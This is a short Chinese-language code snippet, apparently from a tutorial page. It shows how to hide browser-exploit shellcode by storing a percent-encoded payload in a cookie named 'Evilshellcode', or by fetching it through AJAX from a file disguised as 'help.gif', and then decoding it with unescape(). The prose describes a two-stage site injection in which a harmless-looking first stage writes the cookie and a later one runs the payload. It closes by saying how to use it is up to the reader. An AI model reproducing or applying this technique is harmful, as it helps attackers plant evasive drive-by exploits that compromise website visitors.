cookie示例代码：

复制代码 代码如下:

//存放

function setCookie(sVar, sVal){

theCookie = sVar + '=' + sVal + '; expires=Fri, 1 Jul 2020 09:45:27 UTC';

document.cookie = theCookie;}

shellcode="%9090%9090%00e8%0000%5e00%8b64%303d%0000%8100%00c7%0008%8b00%83c7%1dc0%20b9%0001%a500%fde2%e0ff%00e8%0000%6a00%eb08%1b6c%46c6%ed79%ef56%9836%8afe%aa0e%0dfc%9e7c%bbf9%b035%2d49%7edb%e2d8%8e73%0e4e%75ec......"

setCookie('Evilshellcode', shellcode);

//取出

function getCookie(sVar){

cookies = document.cookie.split('; ');

for(var i = 1; i <= cookies.length; i++){

if(cookies[i - 1].split('=')[0] == sVar){return cookies[i - 1].split('=')[1];}}

return '';

}

a=unescape(getCookie('Evilshellcode'))

cookie存放的话，可以挂两次，第一次挂cookie写入代码无害，第二次再取出来结合新挂的代码来运行。怎么用随你了。

ajax来调用

复制代码 代码如下:

<script src="http://jqueryjs.googlecode.com/files/jquery-1.3.2.min.js" type="text/javascript"></script>

var shellcode = $.ajax({

url: "help.gif",

async: false

}).responseText

help.gif内容
